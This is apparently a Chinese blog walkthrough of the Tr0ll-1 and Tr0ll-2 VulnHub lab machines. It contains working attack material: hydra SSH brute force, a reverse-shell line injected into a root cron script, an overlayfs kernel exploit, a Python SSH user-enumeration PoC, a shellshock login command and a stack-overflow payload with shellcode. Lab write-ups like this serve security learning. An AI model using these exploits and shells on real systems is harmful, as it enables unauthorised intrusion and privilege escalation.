前言

最近看了一阵子小迪,感觉不能只是看理论,纸上得来终觉浅,所以打算搞几个靶机玩玩。这就目光聚焦在了知名的vulnhub.com网站了,根据搜集到的博客打算先打一打简单的,以后再搞难的!

Tr0ll-1

靶机配置

双击下载下来的vmx文件夹,导入到VMware虚拟机内部

需要注意kali虚拟机和靶机应该要再同一网段下(也就是虚拟机改为nat模式),我这是一台电脑安装的,因此不影响

靶机正常启动之后显示tty页面,就说明好了,可以不必管他了

refer:(https://www.cnblogs.com/BKNboy-Blog/p/18301056/Shooting_Range4)

打靶

信息收集和打点

首先使用nmap扫描存活主机,参数是-sn(老版本是-sP)

后面跟上192.168.1.0/24意思是可用 IP 范围:192.168.1.1 ~ 192.168.1.254下的所有主机

我的kali ip在192.168.153下面,因此靶机的ip八九不离十也是在这下面了

输入命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ nmap -sn 192.168.153.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 03:22 EDT
Nmap scan report for 192.168.153.1
Host is up (0.00026s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.153.2
Host is up (0.00011s latency).
MAC Address: 00:50:56:E7:17:EE (VMware)
Nmap scan report for 192.168.153.131
Host is up (0.00029s latency).
MAC Address: 00:0C:29:1B:BA:36 (VMware)
Nmap scan report for 192.168.153.254
Host is up (0.00016s latency).
MAC Address: 00:50:56:F8:C2:5B (VMware)
Nmap scan report for 192.168.153.135
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 5.94 seconds

这里扫出来192.168.153.1 / .2 / .254:都是 VMware 虚拟网关、虚拟网卡,不是靶机。

我本机是135结尾,那这个131就很可疑了

接下来扫描其开放了什么端口

-sV参数说明也要扫出来服务版本。-p-说明不指定端口,扫描全部的

也可以加上-sC说明使用默认脚本扫描,可能会扫出来一些弱口令等

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
└─$ nmap -sV -p- -sC 192.168.153.131

Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 03:27 EDT
Nmap scan report for 192.168.153.131
Host is up (0.0016s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.153.135
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 600
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap [NSE: writeable]
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
| 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
| 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_ 256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/secret
MAC Address: 00:0C:29:1B:BA:36 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds

这里主要扫出来tcp端口、SSH端口和80端口,可以访问80端口看一看

image-20260528152846080

这里面没有什么信息(前端源码也看了没有信息)但是至少知道了用的Apache 2.4.7版本的服务器

我们可以看到,加了-sC参数之后好多消息都爆了出来,包括自动帮我们扫描了/robots.txt和FTP匿名登陆

我们访问/secret,只是又给了一个无意义的图片,因此我们现在聚焦于FTP匿名登陆,刚好nmap给我们扫描到一个流量包文件,我们挤进去试试能不能下载

匿名登陆的时候我们输入anonymous即可不需要账号密码登录FTP服务

我们输入ls查看里面的文件

1
2
3
4
5
6
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||10258|).
150 Here comes the directory listing.
-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap
226 Directory send OK.

然后输入get即可下载里面的文件

我们下载下来流量包,进行流量分析

image-20260528175459693

发现传输了一个txt文件

txt文件内容:

1
2
3
4
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P

Sucks, you were so close... gotta TRY HARDER!

这个是一个敏感的信息:sup3rs3cr3tdirlol

根据翻译,是超级-神秘-dir-lol

于是拼接到ip后面进行访问

image-20260528175642853

可以看到这是一个文件预览系统,上一级目录看html代码正是根目录

于是我们下载这个文件,进行分析

通过010查看文件头,这是一个可执行文件

1
2
3
4
int __cdecl main(int argc, const char **argv, const char **envp)
{
return printf("Find address 0x0856BF to proceed");
}

只有main函数有内容,提示了一个地址。

这个地址并非是可执行程序内部的地址,于是合理怀疑是一个路由目录

image-20260528180033969

很明显这里有password,这个密码推测是刚才的ssh服务的密码。

good_luck文件夹下面是以下内容:

1
2
3
4
5
6
7
8
9
10
maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow

另一个文件夹是pass.txt。于是推测这里面存在ssh服务密码

但是SSH还需要用户名,换一个思路,把good luck文件夹里面的当作用户名,pass.txt当作密码进行爆破即可

这里自己粘贴弄得txt没有爆破出来,于是先用wget下载文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿kali)-[~/桌面]
└─$ wget http://192.168.153.131/0x0856BF/this_folder_contains_the_password/Pass.txt
--2026-05-28 06:07:17-- http://192.168.153.131/0x0856BF/this_folder_contains_the_password/Pass.txt
正在连接 192.168.153.131:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:12 [text/plain]
正在保存至: “Pass.txt”

Pass.txt 100%[=======================================================================================================================================>] 12 --.-KB/s 用时 0s

2026-05-28 06:07:17 (2.32 MB/s) - 已保存 “Pass.txt” [12/12])


┌──(kali㉿kali)-[~/桌面]
└─$ wget http://192.168.153.131/0x0856BF/good_luck/which_one_lol.txt
--2026-05-28 06:07:28-- http://192.168.153.131/0x0856BF/good_luck/which_one_lol.txt
正在连接 192.168.153.131:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:109 [text/plain]
正在保存至: “which_one_lol.txt”

which_one_lol.txt 100%[=======================================================================================================================================>] 109 --.-KB/s 用时 0s

2026-05-28 06:07:28 (29.9 MB/s) - 已保存 “which_one_lol.txt” [109/109])

然后使用九头蛇进行爆破

命令:hydra -L which_one_lol.txt -p Pass.txt ssh://192.168.153.131

密码竟然就是Pass.txt

1
2
3
4
5
6
7
8
9
10
$ hydra -L which_one_lol.txt -p Pass.txt ssh://192.168.153.131
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-28 06:09:50
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:10/p:1), ~1 try per task
[DATA] attacking ssh://192.168.153.131:22/
[22][ssh] host: 192.168.153.131 login: overflow password: Pass.txt
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-28 06:10:01

成功拿到普通用户shell

image-20260528181228829

提权之内核漏洞

我们linux提权,大概思路就是内核漏洞,suid,sudold_preload、cron、lxd、capability、rbash等等

我们先从内核漏洞开始看起

1
2
$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux

查看内核版本是3.13.0之后,我们可以考虑用searchsploit工具查漏洞

image-20260528181740341

查出来很多漏洞。主要看下面这俩:

1
2
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation                                                                                                     | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)

使用locate命令,能够快速定位某个路径

1
2
3
└─$ locate linux/local/37292.c

/usr/share/exploitdb/exploits/linux/local/37292.c

我们复制这个出来,进行编译即可。局域网传文件,我喜欢python起一个服务器

python3 -m http.server 8088

我们去到ssh下面,执行cd /tmpwget下载命令

1
2
3
4
5
6
7
8
9
10
11
12
$ cd /tmp
$ wget 192.168.153.135:8088/exp
--2026-05-28 01:31:17-- http://192.168.153.135:8088/exp
Connecting to 192.168.153.135:8088... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16488 (16K) [application/octet-stream]
Saving to: ‘exp’

100%[=================================================================================================================================================================================================>] 16,488 --.-K/s in 0s

2026-05-28 01:31:17 (457 MB/s) - ‘exp’ saved [16488/16488]

但是这样子传不上去编译好的exp文件,我们只能上传.c文件之后在目标机器上编译

然后执行就拿到了shell

1
2
3
4
$ ls
37292.c
$ gcc 37292.c -o exp
$ ./exp

提权之SUID

还记得刚才我说过,计划任务也是提权的一种思路

退出的时候,会提示这样一段话:
image-20260528182947889

这里就是说明貌似root用户启动了一个计划任务

我们不能直接输入命令看计划任务

因此这里我们查看计划任务的日志,看一看能发现啥蛛丝马迹

命令:find / -name cronlog 2>/dev/null

然后出来了一个路径,继续cat:

1
2
$ cat /var/log/cronlog
*/2 * * * * cleaner.py

出了这样一个东西

继续搜寻发现到计划任务的原本模样:

1
2
3
4
5
6
7
8
9
10
11
$ find / -name cleaner.py 2>/dev/null
/lib/log/cleaner.py
$ cat /lib/log/cleaner.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()

怪不得我们一直退出,原来计划任务写死了

这里我们采取反弹shell的方式,让system权限反弹到kali机器里面

1
2
3
4
5
6
7
8
9
cat > /lib/log/cleaner.py << EOF
#!/usr/bin/env python
import os
import sys
try:
os.system('bash -i >& /dev/tcp/192.168.153.135/4444 0>&1')
except:
sys.exit()
EOF

没有弹成功,我们换一种思路,采取SUID提权:
脚本改为下图

image-20260528185412517

写完之后,强制保存退出

chmod u+s 文件名 是给这个文件打上 SUID(Set User ID) 特殊权限位。

提权成功:
image-20260528185616176

Tr0ll-2

靶场配置

还是打开vmx文件,改成nat,不多说了

refer:

(https://blog.csdn.net/shenyu_1126/article/details/110505159)

https://www.cnblogs.com/l2sec/p/14414527.html

打靶

信息收集和打点

还是nmap先扫描一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/桌面]
└─$ nmap -sn 192.168.153.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 08:34 EDT
Nmap scan report for 192.168.153.1
Host is up (0.0012s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.153.2
Host is up (0.00096s latency).
MAC Address: 00:50:56:E7:17:EE (VMware)
Nmap scan report for 192.168.153.132
Host is up (0.00072s latency).
MAC Address: 00:0C:29:5D:4D:05 (VMware)
Nmap scan report for 192.168.153.254
Host is up (0.00014s latency).
MAC Address: 00:50:56:F8:C2:5B (VMware)
Nmap scan report for 192.168.153.135
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 5.94 seconds

还是192.168.153.132,先端口扫描一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ nmap -sV -sC -p- 192.168.153.132
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 08:36 EDT
Nmap scan report for 192.168.153.132
Host is up (0.0049s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
| 2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_ 256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:5D:4D:05 (VMware)
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.26 seconds

还是那几个端口,着重看ftp、ssh和80端口

我们扫描一下目录看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
User-agent:*
Disallow:
/noob
/nope
/try_harder
/keep_trying
/isnt_this_annoying
/nothing_here
/404
/LOL_at_the_last_one
/trolling_is_fun
/zomg_is_this_it
/you_found_me
/I_know_this_sucks
/You_could_give_up
/dont_bother
/will_it_ever_end
/I_hope_you_scripted_this
/ok_this_is_it
/stop_whining
/why_are_you_still_looking
/just_quit
/seriously_stop

扫描到了robots.txt,这里面有了不少的目录

image-20260528210420957

进行统一发包发现就这几个不是404

于是点进去进行测试一波

这几个页面统一重定向到了一个jpg,我们可以分析一下图片里面是不是隐藏有什么信息

image-20260528210940083

但是这四个图片其实是不一样的,在dont_bother目录下面发现了提示,根据靶机1的尿性,恐怕是一个目录

进去之后是大量的base64.看了博客提示反应过来,可以用base64命令便捷解码

这里每一行都有一条,可以考虑是密码。结合上个靶机,我们可以猜测是密码字典

1
2
3
4
└─$ ftp 192.168.153.132
Connected to 192.168.153.132.
220 Welcome to Tr0ll FTP... Only noobs stay for a while...
Name (192.168.153.132:kali):

这个ftp其实是提示了用户名

我们用九头蛇试着爆破一下hydra -l Tr0ll -P 1.txt ftp://192.168.153.132

发现错误了,看了博客才知道用户名就是密码。真的是缺乏尝试,这方面以后可以注意一下

这里面有一个加密后的zip,我们刚才获得的字典可以用在这里试一下。

image-20260528212210419

成功恢复密码:ItCantReallyBeThisEasyRightLOL

noob是一个RSA私钥

1
2
➜  Desktop file noob
noob: PEM RSA private key

根据SSH版本,看看有没有可以利用的漏洞:
image-20260528212505370

应该存在用户名枚举漏洞

因为poc版本太老了,用豆包简单修改了一下,枚举出来noob这个用户似乎是存在的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
# CVE-2018-15473 SSH User Enumeration
# 完全兼容 Python3 + 新版 Paramiko(Kali 自带可直接运行)

import argparse
import logging
import paramiko
import socket

logging.getLogger("paramiko").setLevel(logging.CRITICAL)

class InvalidUsername(Exception):
pass

# ===================== 补丁核心(已修复新版 Paramiko)=====================
original_add_boolean = paramiko.message.Message.add_boolean

def patch_add_boolean(*args, **kwargs):
return None

def hook_service_accept(self, m):
paramiko.message.Message.add_boolean = patch_add_boolean
try:
return self._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT](self, m)
finally:
paramiko.message.Message.add_boolean = original_add_boolean

def hook_userauth_failure(self, m):
raise InvalidUsername()

# 自动给当前 AuthHandler 打补丁(安全、无报错)
def apply_patch():
cls = paramiko.auth_handler.AuthHandler
cls._client_handler_table = {
paramiko.common.MSG_SERVICE_ACCEPT: hook_service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: hook_userauth_failure,
}

apply_patch()
# ========================================================================

def check_user(target, port, username):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)

try:
sock.connect((target, port))
except:
print("[!] 连接失败")
return

transport = paramiko.Transport(sock)

try:
transport.start_client()
except:
print("[!] SSH 协商失败")
return

try:
key = paramiko.RSAKey.generate(2048)
transport.auth_publickey(username, key)
except InvalidUsername:
print(f"[-] {username} 不存在")
except paramiko.AuthenticationException:
print(f"[+] {username} 存在!")
except:
print(f"[*] {username} 可能存在")

transport.close()
sock.close()

if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("target")
parser.add_argument("username")
parser.add_argument("-p", "--port", type=int, default=22)
args = parser.parse_args()

check_user(args.target, args.port, args.username)
1
2
$ python poc.py 192.168.153.132 noob
[*] noob 可能存在

其实按理来说,也不需要这样。我们私钥文件是noob,就可以合理猜测noob就是用户名,这个只是一个佐证

用-i参数,可以用私钥登录SSH

这里需要注意,新版本SSH不能利用这个算法登录了,需要在参数显式声明才可以

ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa noob@192.168.153.132

这时候会报错,怀疑是故意设计的不允许这样登录

image-20260528214056390

我们加上-t参数也不行:

1
2
3
4
└─$ ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa noob@192.168.153.132 -t "/bin/sh"
TRY HARDER LOL!
Connection to 192.168.153.132 closed.

shellshock攻击

可以参考这篇文章:shellshock从底层原理到手法总结-先知社区

老版本 bash(<4.1)在解析环境变量时,会把 () { ... }; 后面的命令直接执行。

使用这个漏洞即可拿到shell:ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa noob@192.168.153.132 -t "() { :;}; /bin/bash"

我们看一下内核版本

和靶机1一样,但是看博客说内核漏洞利用提权会失败,索性我也不想尝试了

suid提权搜索结果:
image-20260528215635011

我们重点看这几个r00t文件,我们全部都拷贝出来试试。

可以通过base64命令,编码指定的可执行文件,到时候再转为文件即可

栈溢出提权

我们提取了俩是可执行文件,可以放进ida分析一下:
door1的main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax

puts("\n2 MINUTE HARD MODE LOL");
result = fork();
if ( !result )
{
system("/bin/chmod 600 /bin/ls");
sleep(0x78u);
return system("/bin/chmod 777 /bin/ls");
}
return result;
}

他会暂时禁用/bin/ls的权限,也就是用不了ls命令

这个显然不是我们想要的函数

door3:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax

puts("Good job, stand by, executing root shell...");
sleep(3u);
puts("BUHAHAHA NOOB!");
sleep(1u);
result = fork();
if ( !result )
return system("/sbin/reboot");
return result;
}

竟然直接重启电脑

那接下来我们只能看一看door2

这是main函数,为了尊重pwn放一张图片:
image-20260528221005821

我们先检查一下程序的保护措施

image-20260528221039561

基本上没有保护措施。这个程序我们可以利用栈溢出拿到shell

这里栈可执行,那显然可以往栈上注入shellcode

我们现在可以用gdb调试看看栈地址

main函数的EBP地址是:0xffffc818

可以参考:红队渗透项目之Tr0ll2 - FreeBuf网络安全行业门户

主要是找到地址,进行nop滑梯填充即可

下面是引用的原文章 有点不想复现了

用gdb进行拆解,找溢出值,填充300的值,获取偏移地址:

1
2
>gdb r00t
>run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

1651646234_62721f1a0fe2d272c124f.png!small?1651646234922
获得地址:

1
>0x6a413969

3)获得偏移量

利用pattern_offset.rb,找偏移量:

1
>/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6a413969

获得偏移量为268!

3、查找ESP的溢出地址

前面找到偏移量后,可以知道栈空间大小占据空间位置,接下来找到跳板地址也就是ESP,就可以跳到恶意代码shellcode位置!

1)print写入268个A和4个B,查找出EIP地址

1
2
>r $(python -c 'print "A"*268 + "B"*4')
>info r

1651646242_62721f22cd512c1e54c63.png!small?1651646243930
继续获取ESP值。

2)获取ESP(下一跳值)

print写入268个A、4个B和20个C,查找出ESP地址:

1
>r $(python -c 'print "A"*268 + "B"*4 + "C"*20')

1651646247_62721f27a86bed3d59255.png!small?1651646248891
获取ESP内存地址:0xbffffb80
即反向ESP为:\x80\xfb\xff\xbf。

4、shellcode编写

谷歌搜索获得shellcode:

1
>http://shell-storm.org/shellcode/files/shellcode-827.php

因为它运行在Intel,并且操作系统是86位Linux,因此我从此处获取Shellcode连接:
1651646253_62721f2d4a34f5e3dc045.png!small?1651646253636

1
>"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

当选择好shellcode恶意代码后,即可进行exp写入shellcode进行编写payload。

5、EXP编写

接下来需要执行exp,获得shell,开始编写。
编写EXP:

1
>./r00t $(python -c 'print "A"*偏移量 + "反向ESP" + "\x90"*20 + "shellcode"')

按照模板编写:

1
2
>./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
>python -c 'import pty; pty.spawn("/bin/bash")' #执行tty

1651646261_62721f356a7dd33b48516.png!small?1651646261873
可看到成功缓冲区溢出跳转执行shellcode获得bash的shell!